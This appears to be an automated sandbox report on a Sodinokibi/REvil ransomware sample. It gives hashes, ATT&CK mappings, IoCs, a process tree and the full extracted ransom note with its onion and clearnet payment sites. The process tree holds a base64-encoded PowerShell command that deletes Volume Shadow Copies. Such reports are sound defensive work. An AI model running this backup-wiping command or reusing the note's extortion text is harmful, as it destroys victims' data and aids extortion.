sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

14/04/2025, 17:40

250414-v89s1swlw9 10

05/02/2025, 06:51

05/02/2025, 06:49

28/04/2024, 18:31

21/04/2024, 08:57

21/04/2024, 05:45

18/04/2024, 19:05

18/04/2024, 16:34

Analysis

max time kernel
383s
max time network
377s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
14/04/2025, 17:40

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

166KB
MD5

8d50eacadd7b377722828227a3d30350
SHA1

cbe1881838871f1fa3672b97cec29955b786aba3
SHA256

353ddd0a20aa154923d91052d8ef6c94a32fe9cb1293cde6b8d05b032a79237d
SHA512

8ae9aa227b92c18d8dbb8882d6ee097537f69e8e5700ca25506ca9d3a1d7559b20b27a53ab6aff0812e20201256f5cea8aa008a82861f27d334df638695d9ef8
SSDEEP

3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3QrEz7U4kTyN:NJ0BXScFyfC3Hd4ygovU4s

Score

10^/10

sodinokibi discovery ransomware

Malware Config

Extracted

Path

C:\Program Files (x86)\7z389h38xw-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 7z389h38xw. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/86184CD7196D9156 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/86184CD7196D9156 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: SVZee2wgc4tIKYZ/jk9ya/7SLAedBCzla0s0QvHKCEKZo0GeKv6uB6fvOvaDu1ke UkC0bgxGWdubyYEZDaoJrKqey0PA3Raj74zY9gXnuq1a1EM8bru3huuTWyb+YGDd /ZNCLgnVG7q8i2bSh/cc74uPrAvZW1YP04ulxQxkDqBo35u2rUU0sJ3aeNQ2han4 GebBbvOcI28f7rsIWIOwr80Cr4cLTPIBl7aU0aJRKr8A5i/SY7wiZeQj3OY1EA9T EqAB+pfY13dIUVx3xCJSgIOTfi96zKHwj+Hd16Kp5+U2dNJaM/XVXoVdl57n8pWZ bvgZRop0O9r8ckZO5W4P/dnVEtEQ/+Badrt6XdSbHt3Z4n7Y5FQXAeU6JRDvFSg5 +7aoshbhJVpxcRbxanJD172zzdQhJeUGv4P9d9ZGD413OST7s85N/c+xOb68wmeh YNb9dgY7IoneE0FOgon5tmQGdGpGBBVFCGxUhtFrgtdugPHEmSdpPvVGrimH03MF FXYRD7T4rDqD8SgtkStomM8iQs6bRnLbxMHUXTtdCReaJTJbyDvF6iGNoAM/m2+i 9VT2NQUNi97uYiB1okzw3qdB2xo97wnsX6gdOumG+okrk1FnWEszLUn2Kh5xbLFk bTiqI/9/8L/GDgBe1S4Fus/Gxxt5RPfMe3dl1cLTQyjakLL9iaHGZJF6H8IZYgSq QiHortOzod2zxSOuD7CtdQYI9MNmQq59LBUii9vcV4S+8K69eUg8dFfL1AJzYrvD ohEtW/42jgyJnoe7f6Yihe13fFQbMKqGK7rNj/W9zrDX/29lciAY7l2SpQHHUic7 eRY7726GnKTFtO4UH9AXgAw1u/IhmgBDfr2ih/YH3eMmQ8ZKcVjn1NAfXydjPnn9 1NqoYpPFv1DRUwurgIEu2g24CYmcPf7rEG4GUZsP3BamhnLOpWRNrM1cyc7DY/4i 4u6sUTwkgSrliZov4v2ATqYPK3/kvDhtUEmWpt76TxBE6XGtlvTeHAXYTzVF164g esZ88JNGTZTiykQuP3AxJYBq59Jy0H9VfGRYPZ6SrVEXZewT95dXoP2gbh25AS7w VKOedfSkLx55/qZ+GuQRdURZzPbUmm1WhrTdh8uWFstc8qMsK7h0wO+zAPJNIgEr /PZEKc1/evEBP6fHQSFhNf1fJ/wD9L5uDw8EiabMnCJxLinNCP2SRHOMAvx4IKeS XsHRCwoyrUJsThV0pRjtINtMQf8fSjTgmupb5UbmAXd763Rk0S083/js/X4q8QHx fqhHUsDllHc/erY9CE8k+ZNbfy3uN2tJ+sdBcT2h6xKdsv/EXSR3qBPF8USstTEd jYLd3q5UHeEZSCKkrupTn0Y0lZW0fWCuAgxWPclApxlLIPOx4RZVh8Z3u3omyQ== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/86184CD7196D9156

http://decryptor.cc/86184CD7196D9156

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Sodinokibi family
sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\ConfirmConvertTo.jpg	rundll32.exe
File opened for modification	\??\c:\program files\PushEnable.mid	rundll32.exe
File opened for modification	\??\c:\program files\ResizeFormat.contact	rundll32.exe
File opened for modification	\??\c:\program files\SaveWait.WTV	rundll32.exe
File opened for modification	\??\c:\program files\StopGet.vsd	rundll32.exe
File opened for modification	\??\c:\program files\msedge_installer.log	rundll32.exe
File opened for modification	\??\c:\program files\RenameUse.3gpp	rundll32.exe
File created	\??\c:\program files\7z389h38xw-readme.txt	rundll32.exe
File created	\??\c:\program files (x86)\7z389h38xw-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\chrome_installer.log	rundll32.exe
File opened for modification	\??\c:\program files\ExpandSuspend.mp2	rundll32.exe
File opened for modification	\??\c:\program files\FindDismount.cfg	rundll32.exe
File opened for modification	\??\c:\program files\OutSend.crw	rundll32.exe
File opened for modification	\??\c:\program files\ShowFormat.cr2	rundll32.exe
File opened for modification	\??\c:\program files\AssertSearch.AAC	rundll32.exe
File opened for modification	\??\c:\program files\ConvertFromImport.mpv2	rundll32.exe
File opened for modification	\??\c:\program files\DebugBlock.html	rundll32.exe
File opened for modification	\??\c:\program files\LimitReceive.ttc	rundll32.exe
File opened for modification	\??\c:\program files\SwitchRepair.png	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2132	rundll32.exe
2132	rundll32.exe
5584	powershell.exe
5584	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2132	rundll32.exe
Token: SeDebugPrivilege	5584	powershell.exe
Token: SeBackupPrivilege	5832	vssvc.exe
Token: SeRestorePrivilege	5832	vssvc.exe
Token: SeAuditPrivilege	5832	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 5660 wrote to memory of 2132	5660	rundll32.exe	86
PID 5660 wrote to memory of 2132	5660	rundll32.exe	86
PID 5660 wrote to memory of 2132	5660	rundll32.exe	86
PID 2132 wrote to memory of 5584	2132	rundll32.exe	92
PID 2132 wrote to memory of 5584	2132	rundll32.exe	92

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:5660
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5584

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:988

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5832

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4212

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\7z389h38xw-readme.txt
1⤵
PID:3152

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files (x86)\7z389h38xw-readme.txt

Filesize
6KB

MD5
c4be933453e012a0d7f27b5f6593cea6

SHA1
ac473fc72e8cc8c5bb30d123f2c5df1d2dd3dc15

SHA256
2ec293b9091199ea54907a5adf3d281629f3157ecf4abb3b4500cc9d60e41c4b

SHA512
bd16e9cc0883b77e9836c978145f615d1a6529242dc9a2fb18de2f3ca7e70d33cb439f4accd096394e9c7c8db153b2bce09b7c2009d9d2206f465b24bd8f71da

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3yuscck0.tpj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5584-0-0x00007FFE9ACD3000-0x00007FFE9ACD5000-memory.dmp

Filesize
8KB

Download
memory/5584-10-0x00000205C04B0000-0x00000205C04D2000-memory.dmp

Filesize
136KB

Download
memory/5584-11-0x00007FFE9ACD0000-0x00007FFE9B791000-memory.dmp

Filesize
10.8MB

Download
memory/5584-12-0x00007FFE9ACD0000-0x00007FFE9B791000-memory.dmp

Filesize
10.8MB

Download
memory/5584-15-0x00000205D8540000-0x00000205D875C000-memory.dmp

Filesize
2.1MB

Download
memory/5584-16-0x00007FFE9ACD0000-0x00007FFE9B791000-memory.dmp

Filesize
10.8MB

Download